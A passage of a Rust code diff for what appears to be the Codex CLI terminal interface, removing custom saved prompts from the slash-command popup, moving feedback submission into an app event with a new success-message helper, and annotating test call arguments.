}
}
pub(crate) fn set_prompts(&mut self, mut prompts: Vec<CustomPrompt>) {
let exclude: HashSet<String> = self
.builtins
.iter()
.map(|(n, _)| (*n).to_string())
.collect();
prompts.retain(|p| !exclude.contains(&p.name));
prompts.sort_by(|a, b| a.name.cmp(&b.name));
self.prompts = prompts;
}
pub(crate) fn prompt(&self, idx: usize) -> Option<&CustomPrompt> {
self.prompts.get(idx)
}
/// Update the filter string based on the current composer text. The text
/// passed in is expected to start with a leading '/'. Everything after the
/// *first* '/' on the *first* line becomes the active filter that is used
@@ -144,17 +118,12 @@ impl CommandPopup {
let filter = self.command_filter.trim();
let mut out: Vec<(CommandItem, Option<Vec<usize>>)> = Vec::new();
if filter.is_empty() {
// Built-ins first, in presentation order.
for (_, cmd) in self.builtins.iter() {
if ALIAS_COMMANDS.contains(cmd) {
continue;
}
out.push((CommandItem::Builtin(*cmd), None));
}
// Then prompts, already sorted by name.
for idx in 0..self.prompts.len() {
out.push((CommandItem::UserPrompt(idx), None));
}
return out;
}
@@ -162,7 +131,6 @@ impl CommandPopup {
let filter_chars = filter.chars().count();
let mut exact: Vec<(CommandItem, Option<Vec<usize>>)> = Vec::new();
let mut prefix: Vec<(CommandItem, Option<Vec<usize>>)> = Vec::new();
let prompt_prefix_len = PROMPTS_CMD_PREFIX.chars().count() + 1;
let indices_for = |offset| Some((offset..offset + filter_chars).collect());
let mut push_match =
@@ -189,18 +157,6 @@ impl CommandPopup {
for (_, cmd) in self.builtins.iter() {
push_match(CommandItem::Builtin(*cmd), cmd.command(), None, 0);
}
// Support both search styles:
// - Typing "name" should surface "/prompts:name" results.
// - Typing "prompts:name" should also work.
for (idx, p) in self.prompts.iter().enumerate() {
let display = format!("{PROMPTS_CMD_PREFIX}:{}", p.name);
push_match(
CommandItem::UserPrompt(idx),
&display,
Some(&p.name),
prompt_prefix_len,
);
}
out.extend(exact);
out.extend(prefix);
@@ -218,22 +174,9 @@ impl CommandPopup {
matches
.into_iter()
.map(|(item, indices)| {
let (name, description) = match item {
CommandItem::Builtin(cmd) => {
(format!("/{}", cmd.command()), cmd.description().to_string())
}
CommandItem::UserPrompt(i) => {
let prompt = &self.prompts[i];
let description = prompt
.description
.clone()
.unwrap_or_else(|| "send saved prompt".to_string());
(
format!("/{PROMPTS_CMD_PREFIX}:{}", prompt.name),
description,
)
}
};
let CommandItem::Builtin(cmd) = item;
let name = format!("/{}", cmd.command());
let description = cmd.description().to_string();
GenericDisplayRow {
name,
name_prefix_spans: Vec::new(),
@@ -296,7 +239,7 @@ mod tests {
#[test]
fn filter_includes_init_when_typing_prefix() {
let mut popup = CommandPopup::new(Vec::new(), CommandPopupFlags::default());
let mut popup = CommandPopup::new(CommandPopupFlags::default());
// Simulate the composer line starting with '/in' so the popup filters
// matching commands by prefix.
popup.on_composer_text_change("/in".to_string());
@@ -306,7 +249,6 @@ mod tests {
let matches = popup.filtered_items();
let has_init = matches.iter().any(|item| match item {
CommandItem::Builtin(cmd) => cmd.command() == "init",
CommandItem::UserPrompt(_) => false,
});
assert!(
has_init,
@@ -316,7 +258,7 @@ mod tests {
#[test]
fn selecting_init_by_exact_match() {
let mut popup = CommandPopup::new(Vec::new(), CommandPopupFlags::default());
let mut popup = CommandPopup::new(CommandPopupFlags::default());
popup.on_composer_text_change("/init".to_string());
// When an exact match exists, the selected command should be that
@@ -324,144 +266,46 @@ mod tests {
let selected = popup.selected_item();
match selected {
Some(CommandItem::Builtin(cmd)) => assert_eq!(cmd.command(), "init"),
Some(CommandItem::UserPrompt(_)) => panic!("unexpected prompt selected for '/init'"),
None => panic!("expected a selected command for exact match"),
}
}
#[test]
fn model_is_first_suggestion_for_mo() {
let mut popup = CommandPopup::new(Vec::new(), CommandPopupFlags::default());
let mut popup = CommandPopup::new(CommandPopupFlags::default());
popup.on_composer_text_change("/mo".to_string());
let matches = popup.filtered_items();
match matches.first() {
Some(CommandItem::Builtin(cmd)) => assert_eq!(cmd.command(), "model"),
Some(CommandItem::UserPrompt(_)) => {
panic!("unexpected prompt ranked before '/model' for '/mo'")
}
None => panic!("expected at least one match for '/mo'"),
}
}
#[test]
fn filtered_commands_keep_presentation_order_for_prefix() {
let mut popup = CommandPopup::new(Vec::new(), CommandPopupFlags::default());
let mut popup = CommandPopup::new(CommandPopupFlags::default());
popup.on_composer_text_change("/m".to_string());
let cmds: Vec<&str> = popup
.filtered_items()
.into_iter()
.filter_map(|item| match item {
CommandItem::Builtin(cmd) => Some(cmd.command()),
CommandItem::UserPrompt(_) => None,
.map(|item| match item {
CommandItem::Builtin(cmd) => cmd.command(),
})
.collect();
assert_eq!(cmds, vec!["model", "mention", "mcp"]);
}
#[test]
fn prompt_discovery_lists_custom_prompts() {
let prompts = vec![
CustomPrompt {
name: "foo".to_string(),
path: "/tmp/foo.md".to_string().into(),
content: "hello from foo".to_string(),
description: None,
argument_hint: None,
},
CustomPrompt {
name: "bar".to_string(),
path: "/tmp/bar.md".to_string().into(),
content: "hello from bar".to_string(),
description: None,
argument_hint: None,
},
];
let popup = CommandPopup::new(prompts, CommandPopupFlags::default());
let items = popup.filtered_items();
let mut prompt_names: Vec<String> = items
.into_iter()
.filter_map(|it| match it {
CommandItem::UserPrompt(i) => popup.prompt(i).map(|p| p.name.clone()),
_ => None,
})
.collect();
prompt_names.sort();
assert_eq!(prompt_names, vec!["bar".to_string(), "foo".to_string()]);
}
#[test]
fn prompt_name_collision_with_builtin_is_ignored() {
// Create a prompt named like a builtin (e.g. "init").
let popup = CommandPopup::new(
vec![CustomPrompt {
name: "init".to_string(),
path: "/tmp/init.md".to_string().into(),
content: "should be ignored".to_string(),
description: None,
argument_hint: None,
}],
CommandPopupFlags::default(),
);
let items = popup.filtered_items();
let has_collision_prompt = items.into_iter().any(|it| match it {
CommandItem::UserPrompt(i) => popup.prompt(i).is_some_and(|p| p.name == "init"),
_ => false,
});
assert!(
!has_collision_prompt,
"prompt with builtin name should be ignored"
);
}
#[test]
fn prompt_description_uses_frontmatter_metadata() {
let popup = CommandPopup::new(
vec![CustomPrompt {
name: "draftpr".to_string(),
path: "/tmp/draftpr.md".to_string().into(),
content: "body".to_string(),
description: Some("Create feature branch, commit and open draft PR.".to_string()),
argument_hint: None,
}],
CommandPopupFlags::default(),
);
let rows = popup.rows_from_matches(vec![(CommandItem::UserPrompt(0), None)]);
let description = rows.first().and_then(|row| row.description.as_deref());
assert_eq!(
description,
Some("Create feature branch, commit and open draft PR.")
);
}
#[test]
fn prompt_description_falls_back_when_missing() {
let popup = CommandPopup::new(
vec![CustomPrompt {
name: "foo".to_string(),
path: "/tmp/foo.md".to_string().into(),
content: "body".to_string(),
description: None,
argument_hint: None,
}],
CommandPopupFlags::default(),
);
let rows = popup.rows_from_matches(vec![(CommandItem::UserPrompt(0), None)]);
let description = rows.first().and_then(|row| row.description.as_deref());
assert_eq!(description, Some("send saved prompt"));
}
#[test]
fn prefix_filter_limits_matches_for_ac() {
let mut popup = CommandPopup::new(Vec::new(), CommandPopupFlags::default());
let mut popup = CommandPopup::new(CommandPopupFlags::default());
popup.on_composer_text_change("/ac".to_string());
let cmds: Vec<&str> = popup
.filtered_items()
.into_iter()
.filter_map(|item| match item {
CommandItem::Builtin(cmd) => Some(cmd.command()),
CommandItem::UserPrompt(_) => None,
.map(|item| match item {
CommandItem::Builtin(cmd) => cmd.command(),
})
.collect();
assert!(
@@ -472,7 +316,7 @@ mod tests {
#[test]
fn quit_hidden_in_empty_filter_but_shown_for_prefix() {
let mut popup = CommandPopup::new(Vec::new(), CommandPopupFlags::default());
let mut popup = CommandPopup::new(CommandPopupFlags::default());
popup.on_composer_text_change("/".to_string());
let items = popup.filtered_items();
assert!(!items.contains(&CommandItem::Builtin(SlashCommand::Quit)));
@@ -484,15 +328,14 @@ mod tests {
#[test]
fn collab_command_hidden_when_collaboration_modes_disabled() {
let mut popup = CommandPopup::new(Vec::new(), CommandPopupFlags::default());
let mut popup = CommandPopup::new(CommandPopupFlags::default());
popup.on_composer_text_change("/".to_string());
let cmds: Vec<&str> = popup
.filtered_items()
.into_iter()
.filter_map(|item| match item {
CommandItem::Builtin(cmd) => Some(cmd.command()),
CommandItem::UserPrompt(_) => None,
.map(|item| match item {
CommandItem::Builtin(cmd) => cmd.command(),
})
.collect();
assert!(
@@ -507,19 +350,16 @@ mod tests {
#[test]
fn collab_command_visible_when_collaboration_modes_enabled() {
let mut popup = CommandPopup::new(
Vec::new(),
CommandPopupFlags {
collaboration_modes_enabled: true,
connectors_enabled: false,
plugins_command_enabled: false,
fast_command_enabled: false,
personality_command_enabled: true,
realtime_conversation_enabled: false,
audio_device_selection_enabled: false,
windows_degraded_sandbox_active: false,
},
);
let mut popup = CommandPopup::new(CommandPopupFlags {
collaboration_modes_enabled: true,
connectors_enabled: false,
plugins_command_enabled: false,
fast_command_enabled: false,
personality_command_enabled: true,
realtime_conversation_enabled: false,
audio_device_selection_enabled: false,
windows_degraded_sandbox_active: false,
});
popup.on_composer_text_change("/collab".to_string());
match popup.selected_item() {
@@ -530,19 +370,16 @@ mod tests {
#[test]
fn plan_command_visible_when_collaboration_modes_enabled() {
let mut popup = CommandPopup::new(
Vec::new(),
CommandPopupFlags {
collaboration_modes_enabled: true,
connectors_enabled: false,
plugins_command_enabled: false,
fast_command_enabled: false,
personality_command_enabled: true,
realtime_conversation_enabled: false,
audio_device_selection_enabled: false,
windows_degraded_sandbox_active: false,
},
);
let mut popup = CommandPopup::new(CommandPopupFlags {
collaboration_modes_enabled: true,
connectors_enabled: false,
plugins_command_enabled: false,
fast_command_enabled: false,
personality_command_enabled: true,
realtime_conversation_enabled: false,
audio_device_selection_enabled: false,
windows_degraded_sandbox_active: false,
});
popup.on_composer_text_change("/plan".to_string());
match popup.selected_item() {
@@ -553,27 +390,23 @@ mod tests {
#[test]
fn personality_command_hidden_when_disabled() {
let mut popup = CommandPopup::new(
Vec::new(),
CommandPopupFlags {
collaboration_modes_enabled: true,
connectors_enabled: false,
plugins_command_enabled: false,
fast_command_enabled: false,
personality_command_enabled: false,
realtime_conversation_enabled: false,
audio_device_selection_enabled: false,
windows_degraded_sandbox_active: false,
},
);
let mut popup = CommandPopup::new(CommandPopupFlags {
collaboration_modes_enabled: true,
connectors_enabled: false,
plugins_command_enabled: false,
fast_command_enabled: false,
personality_command_enabled: false,
realtime_conversation_enabled: false,
audio_device_selection_enabled: false,
windows_degraded_sandbox_active: false,
});
popup.on_composer_text_change("/pers".to_string());
let cmds: Vec<&str> = popup
.filtered_items()
.into_iter()
.filter_map(|item| match item {
CommandItem::Builtin(cmd) => Some(cmd.command()),
CommandItem::UserPrompt(_) => None,
.map(|item| match item {
CommandItem::Builtin(cmd) => cmd.command(),
})
.collect();
assert!(
@@ -584,19 +417,16 @@ mod tests {
#[test]
fn personality_command_visible_when_enabled() {
let mut popup = CommandPopup::new(
Vec::new(),
CommandPopupFlags {
collaboration_modes_enabled: true,
connectors_enabled: false,
plugins_command_enabled: false,
fast_command_enabled: false,
personality_command_enabled: true,
realtime_conversation_enabled: false,
audio_device_selection_enabled: false,
windows_degraded_sandbox_active: false,
},
);
let mut popup = CommandPopup::new(CommandPopupFlags {
collaboration_modes_enabled: true,
connectors_enabled: false,
plugins_command_enabled: false,
fast_command_enabled: false,
personality_command_enabled: true,
realtime_conversation_enabled: false,
audio_device_selection_enabled: false,
windows_degraded_sandbox_active: false,
});
popup.on_composer_text_change("/personality".to_string());
match popup.selected_item() {
@@ -607,27 +437,23 @@ mod tests {
#[test]
fn settings_command_hidden_when_audio_device_selection_is_disabled() {
let mut popup = CommandPopup::new(
Vec::new(),
CommandPopupFlags {
collaboration_modes_enabled: false,
connectors_enabled: false,
plugins_command_enabled: false,
fast_command_enabled: false,
personality_command_enabled: true,
realtime_conversation_enabled: true,
audio_device_selection_enabled: false,
windows_degraded_sandbox_active: false,
},
);
let mut popup = CommandPopup::new(CommandPopupFlags {
collaboration_modes_enabled: false,
connectors_enabled: false,
plugins_command_enabled: false,
fast_command_enabled: false,
personality_command_enabled: true,
realtime_conversation_enabled: true,
audio_device_selection_enabled: false,
windows_degraded_sandbox_active: false,
});
popup.on_composer_text_change("/aud".to_string());
let cmds: Vec<&str> = popup
.filtered_items()
.into_iter()
.filter_map(|item| match item {
CommandItem::Builtin(cmd) => Some(cmd.command()),
CommandItem::UserPrompt(_) => None,
.map(|item| match item {
CommandItem::Builtin(cmd) => cmd.command(),
})
.collect();
@@ -639,13 +465,12 @@ mod tests {
#[test]
fn debug_commands_are_hidden_from_popup() {
let popup = CommandPopup::new(Vec::new(), CommandPopupFlags::default());
let popup = CommandPopup::new(CommandPopupFlags::default());
let cmds: Vec<&str> = popup
.filtered_items()
.into_iter()
.filter_map(|item| match item {
CommandItem::Builtin(cmd) => Some(cmd.command()),
CommandItem::UserPrompt(_) => None,
.map(|item| match item {
CommandItem::Builtin(cmd) => cmd.command(),
})
.collect();
+203 -137
View File
@@ -1,6 +1,3 @@
use std::cell::RefCell;
use std::path::PathBuf;
use codex_feedback::feedback_diagnostics::FEEDBACK_DIAGNOSTICS_ATTACHMENT_FILENAME;
use codex_feedback::feedback_diagnostics::FeedbackDiagnostics;
use crossterm::event::KeyCode;
@@ -15,13 +12,13 @@ use ratatui::widgets::Clear;
use ratatui::widgets::Paragraph;
use ratatui::widgets::StatefulWidgetRef;
use ratatui::widgets::Widget;
use std::cell::RefCell;
use crate::app_event::AppEvent;
use crate::app_event::FeedbackCategory;
use crate::app_event_sender::AppEventSender;
use crate::history_cell;
use crate::render::renderable::Renderable;
use codex_protocol::protocol::SessionSource;
use super::CancellationEvent;
use super::bottom_pane_view::BottomPaneView;
@@ -44,15 +41,12 @@ pub(crate) enum FeedbackAudience {
External,
}
/// Minimal input overlay to collect an optional feedback note, then upload
/// both logs and rollout with classification + metadata.
/// Minimal input overlay to collect an optional feedback note, then submit it
/// through the app-server-managed feedback flow.
pub(crate) struct FeedbackNoteView {
category: FeedbackCategory,
snapshot: codex_feedback::FeedbackSnapshot,
rollout_path: Option<PathBuf>,
app_event_tx: AppEventSender,
include_logs: bool,
feedback_audience: FeedbackAudience,
// UI state
textarea: TextArea,
@@ -63,19 +57,13 @@ pub(crate) struct FeedbackNoteView {
impl FeedbackNoteView {
pub(crate) fn new(
category: FeedbackCategory,
snapshot: codex_feedback::FeedbackSnapshot,
rollout_path: Option<PathBuf>,
app_event_tx: AppEventSender,
include_logs: bool,
feedback_audience: FeedbackAudience,
) -> Self {
Self {
category,
snapshot,
rollout_path,
app_event_tx,
include_logs,
feedback_audience,
textarea: TextArea::new(),
textarea_state: RefCell::new(TextAreaState::default()),
complete: false,
@@ -84,90 +72,12 @@ impl FeedbackNoteView {
fn submit(&mut self) {
let note = self.textarea.text().trim().to_string();
let reason_opt = if note.is_empty() {
None
} else {
Some(note.as_str())
};
let attachment_paths = if self.include_logs {
self.rollout_path.iter().cloned().collect::<Vec<_>>()
} else {
Vec::new()
};
let classification = feedback_classification(self.category);
let mut thread_id = self.snapshot.thread_id.clone();
let result = self.snapshot.upload_feedback(
classification,
reason_opt,
self.include_logs,
&attachment_paths,
Some(SessionSource::Cli),
/*logs_override*/ None,
);
match result {
Ok(()) => {
let prefix = if self.include_logs {
"• Feedback uploaded."
} else {
"• Feedback recorded (no logs)."
};
let issue_url =
issue_url_for_category(self.category, &thread_id, self.feedback_audience);
let mut lines = vec![Line::from(match issue_url.as_ref() {
Some(_) if self.feedback_audience == FeedbackAudience::OpenAiEmployee => {
format!("{prefix} Please report this in #codex-feedback:")
}
Some(_) => format!("{prefix} Please open an issue using the following URL:"),
None => format!("{prefix} Thanks for the feedback!"),
})];
match issue_url {
Some(url) if self.feedback_audience == FeedbackAudience::OpenAiEmployee => {
lines.extend([
"".into(),
Line::from(vec![" ".into(), url.cyan().underlined()]),
"".into(),
Line::from(" Share this and add some info about your problem:"),
Line::from(vec![
" ".into(),
format!("https://go/codex-feedback/{thread_id}").bold(),
]),
]);
}
Some(url) => {
lines.extend([
"".into(),
Line::from(vec![" ".into(), url.cyan().underlined()]),
"".into(),
Line::from(vec![
" Or mention your thread ID ".into(),
std::mem::take(&mut thread_id).bold(),
" in an existing issue.".into(),
]),
]);
}
None => {
lines.extend([
"".into(),
Line::from(vec![
" Thread ID: ".into(),
std::mem::take(&mut thread_id).bold(),
]),
]);
}
}
self.app_event_tx.send(AppEvent::InsertHistoryCell(Box::new(
history_cell::PlainHistoryCell::new(lines),
)));
}
Err(e) => {
self.app_event_tx.send(AppEvent::InsertHistoryCell(Box::new(
history_cell::new_error_event(format!("Failed to upload feedback: {e}")),
)));
}
}
let reason = if note.is_empty() { None } else { Some(note) };
self.app_event_tx.send(AppEvent::SubmitFeedback {
category: self.category,
reason,
include_logs: self.include_logs,
});
self.complete = true;
}
}
@@ -382,7 +292,7 @@ fn feedback_title_and_placeholder(category: FeedbackCategory) -> (String, String
}
}
fn feedback_classification(category: FeedbackCategory) -> &'static str {
pub(crate) fn feedback_classification(category: FeedbackCategory) -> &'static str {
match category {
FeedbackCategory::BadResult => "bad_result",
FeedbackCategory::GoodResult => "good_result",
@@ -392,6 +302,60 @@ fn feedback_classification(category: FeedbackCategory) -> &'static str {
}
}
pub(crate) fn feedback_success_cell(
category: FeedbackCategory,
include_logs: bool,
thread_id: &str,
feedback_audience: FeedbackAudience,
) -> history_cell::PlainHistoryCell {
let prefix = if include_logs {
"• Feedback uploaded."
} else {
"• Feedback recorded (no logs)."
};
let issue_url = issue_url_for_category(category, thread_id, feedback_audience);
let mut lines = vec![Line::from(match issue_url.as_ref() {
Some(_) if feedback_audience == FeedbackAudience::OpenAiEmployee => {
format!("{prefix} Please report this in #codex-feedback:")
}
Some(_) => format!("{prefix} Please open an issue using the following URL:"),
None => format!("{prefix} Thanks for the feedback!"),
})];
match issue_url {
Some(url) if feedback_audience == FeedbackAudience::OpenAiEmployee => {
lines.extend([
"".into(),
Line::from(vec![" ".into(), url.cyan().underlined()]),
"".into(),
Line::from(" Share this and add some info about your problem:"),
Line::from(vec![
" ".into(),
format!("https://go/codex-feedback/{thread_id}").bold(),
]),
]);
}
Some(url) => {
lines.extend([
"".into(),
Line::from(vec![" ".into(), url.cyan().underlined()]),
"".into(),
Line::from(vec![
" Or mention your thread ID ".into(),
thread_id.to_string().bold(),
" in an existing issue.".into(),
]),
]);
}
None => {
lines.extend([
"".into(),
Line::from(vec![" Thread ID: ".into(), thread_id.to_string().bold()]),
]);
}
}
history_cell::PlainHistoryCell::new(lines)
}
fn issue_url_for_category(
category: FeedbackCategory,
thread_id: &str,
@@ -625,52 +589,59 @@ mod tests {
lines.join("\n")
}
fn render_cell(cell: &impl history_cell::HistoryCell, width: u16) -> String {
cell.display_lines(width)
.into_iter()
.map(|line| {
line.spans
.into_iter()
.map(|span| span.content.into_owned())
.collect::<String>()
.trim_end()
.to_string()
})
.collect::<Vec<_>>()
.join("\n")
}
fn make_view(category: FeedbackCategory) -> FeedbackNoteView {
let (tx_raw, _rx) = tokio::sync::mpsc::unbounded_channel::<AppEvent>();
let tx = AppEventSender::new(tx_raw);
let snapshot = codex_feedback::CodexFeedback::new().snapshot(None);
FeedbackNoteView::new(
category,
snapshot,
None,
tx,
true,
FeedbackAudience::External,
)
FeedbackNoteView::new(category, tx, /*include_logs*/ true)
}
#[test]
fn feedback_view_bad_result() {
let view = make_view(FeedbackCategory::BadResult);
let rendered = render(&view, 60);
let rendered = render(&view, /*width*/ 60);
insta::assert_snapshot!("feedback_view_bad_result", rendered);
}
#[test]
fn feedback_view_good_result() {
let view = make_view(FeedbackCategory::GoodResult);
let rendered = render(&view, 60);
let rendered = render(&view, /*width*/ 60);
insta::assert_snapshot!("feedback_view_good_result", rendered);
}
#[test]
fn feedback_view_bug() {
let view = make_view(FeedbackCategory::Bug);
let rendered = render(&view, 60);
let rendered = render(&view, /*width*/ 60);
insta::assert_snapshot!("feedback_view_bug", rendered);
}
#[test]
fn feedback_view_other() {
let view = make_view(FeedbackCategory::Other);
let rendered = render(&view, 60);
let rendered = render(&view, /*width*/ 60);
insta::assert_snapshot!("feedback_view_other", rendered);
}
#[test]
fn feedback_view_safety_check() {
let view = make_view(FeedbackCategory::SafetyCheck);
let rendered = render(&view, 60);
let rendered = render(&view, /*width*/ 60);
insta::assert_snapshot!("feedback_view_safety_check", rendered);
}
@@ -678,33 +649,56 @@ mod tests {
fn feedback_view_with_connectivity_diagnostics() {
let (tx_raw, _rx) = tokio::sync::mpsc::unbounded_channel::<AppEvent>();
let tx = AppEventSender::new(tx_raw);
let diagnostics = FeedbackDiagnostics::new(vec![
FeedbackDiagnostic {
headline: "Proxy environment variables are set and may affect connectivity."
.to_string(),
details: vec!["HTTP_PROXY = http://proxy.example.com:8080".to_string()],
},
FeedbackDiagnostic {
headline: "OPENAI_BASE_URL is set and may affect connectivity.".to_string(),
details: vec!["OPENAI_BASE_URL = https://example.com/v1".to_string()],
},
]);
let snapshot = codex_feedback::CodexFeedback::new()
.snapshot(None)
.with_feedback_diagnostics(diagnostics);
let view = FeedbackNoteView::new(
FeedbackCategory::Bug,
snapshot,
None,
tx,
false,
FeedbackAudience::External,
);
let rendered = render(&view, 60);
let view = FeedbackNoteView::new(FeedbackCategory::Bug, tx, /*include_logs*/ false);
let rendered = render(&view, /*width*/ 60);
insta::assert_snapshot!("feedback_view_with_connectivity_diagnostics", rendered);
}
#[test]
fn submit_feedback_emits_submit_event_with_trimmed_note() {
let (tx_raw, mut rx) = tokio::sync::mpsc::unbounded_channel::<AppEvent>();
let tx = AppEventSender::new(tx_raw);
let mut view = FeedbackNoteView::new(FeedbackCategory::Bug, tx, /*include_logs*/ true);
view.textarea.insert_str(" something broke ");
view.submit();
let event = rx.try_recv().expect("submit feedback event");
assert!(matches!(
event,
AppEvent::SubmitFeedback {
category: FeedbackCategory::Bug,
reason: Some(reason),
include_logs: true,
} if reason == "something broke"
));
assert_eq!(view.is_complete(), true);
}
#[test]
fn submit_feedback_omits_empty_note() {
let (tx_raw, mut rx) = tokio::sync::mpsc::unbounded_channel::<AppEvent>();
let tx = AppEventSender::new(tx_raw);
let mut view = FeedbackNoteView::new(
FeedbackCategory::GoodResult,
tx,
/*include_logs*/ false,
);
view.submit();
let event = rx.try_recv().expect("submit feedback event");
assert!(matches!(
event,
AppEvent::SubmitFeedback {
category: FeedbackCategory::GoodResult,
reason: None,
include_logs: false,
}
));
}
#[test]
fn should_show_feedback_connectivity_details_only_for_non_good_result_with_diagnostics() {
let diagnostics = FeedbackDiagnostics::new(vec![FeedbackDiagnostic {
@@ -774,4 +768,76 @@ mod tests {
let expected_external_url = "https://github.com/openai/codex/issues/new?template=3-cli.yml&steps=Uploaded%20thread:%20t";
assert_eq!(bug_url_non_employee.as_deref(), Some(expected_external_url));
}
#[test]
fn feedback_success_cell_matches_external_bug_copy() {
let rendered = render_cell(
&feedback_success_cell(
FeedbackCategory::Bug,
/*include_logs*/ true,
"thread-1",
FeedbackAudience::External,
),
/*width*/ 120,
);
assert_eq!(
rendered,
"• Feedback uploaded. Please open an issue using the following URL:\n\n https://github.com/openai/codex/issues/new?template=3-cli.yml&steps=Uploaded%20thread:%20thread-1\n\n Or mention your thread ID thread-1 in an existing issue."
);
}
#[test]
fn feedback_success_cell_matches_employee_bug_copy() {
let rendered = render_cell(
&feedback_success_cell(
FeedbackCategory::Bug,
/*include_logs*/ true,
"thread-2",
FeedbackAudience::OpenAiEmployee,
),
/*width*/ 120,
);
assert_eq!(
rendered,
"• Feedback uploaded. Please report this in #codex-feedback:\n\n http://go/codex-feedback-internal\n\n Share this and add some info about your problem:\n https://go/codex-feedback/thread-2"
);
}
#[test]
fn feedback_success_cell_matches_good_result_copy() {
let rendered = render_cell(
&feedback_success_cell(
FeedbackCategory::GoodResult,
/*include_logs*/ false,
"thread-3",
FeedbackAudience::External,
),
/*width*/ 120,
);
assert_eq!(
rendered,
"• Feedback recorded (no logs). Thanks for the feedback!\n\n Thread ID: thread-3"
);
}
#[test]
fn feedback_success_cell_uses_issue_links_for_remaining_categories() {
for category in [
FeedbackCategory::BadResult,
FeedbackCategory::SafetyCheck,
FeedbackCategory::Other,
] {
let rendered = render_cell(
&feedback_success_cell(
category,
/*include_logs*/ false,
"thread-4",
FeedbackAudience::External,
),
/*width*/ 120,
);
assert!(rendered.contains("Please open an issue using the following URL:"));
assert!(rendered.contains("thread-4"));
}
}
}
+20 -12
View File
@@ -1068,7 +1068,9 @@ mod tests {
use ratatui::backend::TestBackend;
fn snapshot_footer(name: &str, props: FooterProps) {
snapshot_footer_with_mode_indicator(name, 80, &props, None);
snapshot_footer_with_mode_indicator(
name, /*width*/ 80, &props, /*collaboration_mode_indicator*/ None,
);
}
fn draw_footer_frame<B: Backend>(
@@ -1135,7 +1137,10 @@ mod tests {
};
let right_line = if status_line_active {
let full = mode_indicator_line(collaboration_mode_indicator, show_cycle_hint);
let compact = mode_indicator_line(collaboration_mode_indicator, false);
let compact = mode_indicator_line(
collaboration_mode_indicator,
/*show_cycle_hint*/ false,
);
let full_width = full.as_ref().map(|line| line.width() as u16).unwrap_or(0);
if can_show_left_with_context(area, left_width, full_width) {
full
@@ -1455,14 +1460,14 @@ mod tests {
snapshot_footer_with_mode_indicator(
"footer_mode_indicator_wide",
120,
/*width*/ 120,
&props,
Some(CollaborationModeIndicator::Plan),
);
snapshot_footer_with_mode_indicator(
"footer_mode_indicator_narrow_overlap_hides",
50,
/*width*/ 50,
&props,
Some(CollaborationModeIndicator::Plan),
);
@@ -1484,7 +1489,7 @@ mod tests {
snapshot_footer_with_mode_indicator(
"footer_mode_indicator_running_hides_hint",
120,
/*width*/ 120,
&props,
Some(CollaborationModeIndicator::Plan),
);
@@ -1557,7 +1562,7 @@ mod tests {
snapshot_footer_with_mode_indicator(
"footer_status_line_enabled_mode_right",
120,
/*width*/ 120,
&props,
Some(CollaborationModeIndicator::Plan),
);
@@ -1579,7 +1584,7 @@ mod tests {
snapshot_footer_with_mode_indicator(
"footer_status_line_disabled_context_right",
120,
/*width*/ 120,
&props,
Some(CollaborationModeIndicator::Plan),
);
@@ -1602,9 +1607,9 @@ mod tests {
// has status line and no collaboration mode
snapshot_footer_with_mode_indicator(
"footer_status_line_enabled_no_mode_right",
120,
/*width*/ 120,
&props,
None,
/*collaboration_mode_indicator*/ None,
);
let props = FooterProps {
@@ -1626,7 +1631,7 @@ mod tests {
snapshot_footer_with_mode_indicator(
"footer_status_line_truncated_with_gap",
40,
/*width*/ 40,
&props,
Some(CollaborationModeIndicator::Plan),
);
@@ -1686,8 +1691,11 @@ mod tests {
active_agent_label: None,
};
let screen =
render_footer_with_mode_indicator(80, &props, Some(CollaborationModeIndicator::Plan));
let screen = render_footer_with_mode_indicator(
/*width*/ 80,
&props,
Some(CollaborationModeIndicator::Plan),
);
let collapsed = screen.split_whitespace().collect::<Vec<_>>().join(" ");
assert!(
collapsed.contains("Plan mode"),
@@ -1073,7 +1073,7 @@ mod tests {
}
fn render_lines(view: &ListSelectionView) -> String {
render_lines_with_width(view, 48)
render_lines_with_width(view, /*width*/ 48)
}
fn render_lines_with_width(view: &ListSelectionView, width: u16) -> String {
@@ -1153,7 +1153,7 @@ mod tests {
#[test]
fn renders_blank_line_between_title_and_items_without_subtitle() {
let view = make_selection_view(None);
let view = make_selection_view(/*subtitle*/ None);
assert_snapshot!(
"list_selection_spacing_without_subtitle",
render_lines(&view)
@@ -1172,17 +1172,24 @@ mod tests {
let tx = AppEventSender::new(tx_raw);
let home = dirs::home_dir().expect("home directory should be available");
let codex_home = home.join(".codex");
let params =
crate::theme_picker::build_theme_picker_params(None, Some(&codex_home), Some(94));
let params = crate::theme_picker::build_theme_picker_params(
/*current_name*/ None,
Some(&codex_home),
Some(94),
);
let view = ListSelectionView::new(params, tx);
let rendered = render_lines_in_area(&view, 94, 35);
let rendered = render_lines_in_area(&view, /*width*/ 94, /*height*/ 35);
assert!(rendered.contains("Move up/down to live preview themes"));
}
#[test]
fn theme_picker_enables_side_content_background_preservation() {
let params = crate::theme_picker::build_theme_picker_params(None, None, Some(120));
let params = crate::theme_picker::build_theme_picker_params(
/*current_name*/ None,
/*codex_home*/ None,
Some(120),
);
assert!(
params.preserve_side_content_bg,
"theme picker should preserve side-content backgrounds to keep diff preview styling",
@@ -1260,7 +1267,7 @@ mod tests {
);
assert_snapshot!(
"list_selection_footer_note_wraps",
render_lines_with_width(&view, 40)
render_lines_with_width(&view, /*width*/ 40)
);
}
@@ -1380,7 +1387,7 @@ mod tests {
tx,
);
let rendered = render_lines_with_width(&view, 60);
let rendered = render_lines_with_width(&view, /*width*/ 60);
let command_line = rendered
.lines()
.find(|line| line.contains("python -mpre_commit run"))
@@ -1471,7 +1478,7 @@ mod tests {
},
tx,
);
let rendered = render_lines_with_width(&view, 24);
let rendered = render_lines_with_width(&view, /*width*/ 24);
assert!(
rendered.contains("3."),
"third option missing for width 24:\n{rendered}"
@@ -1521,7 +1528,7 @@ mod tests {
);
assert_snapshot!(
"list_selection_model_picker_width_80",
render_lines_with_width(&view, 80)
render_lines_with_width(&view, /*width*/ 80)
);
}
@@ -1548,7 +1555,7 @@ mod tests {
);
assert_snapshot!(
"list_selection_narrow_width_preserves_rows",
render_lines_with_width(&view, 24)
render_lines_with_width(&view, /*width*/ 24)
);
}
@@ -1556,7 +1563,7 @@ mod tests {
fn snapshot_auto_visible_col_width_mode_scroll_behavior() {
assert_snapshot!(
"list_selection_col_width_mode_auto_visible_scroll",
render_before_after_scroll_snapshot(ColumnWidthMode::AutoVisible, 96)
render_before_after_scroll_snapshot(ColumnWidthMode::AutoVisible, /*width*/ 96)
);
}
@@ -1564,7 +1571,7 @@ mod tests {
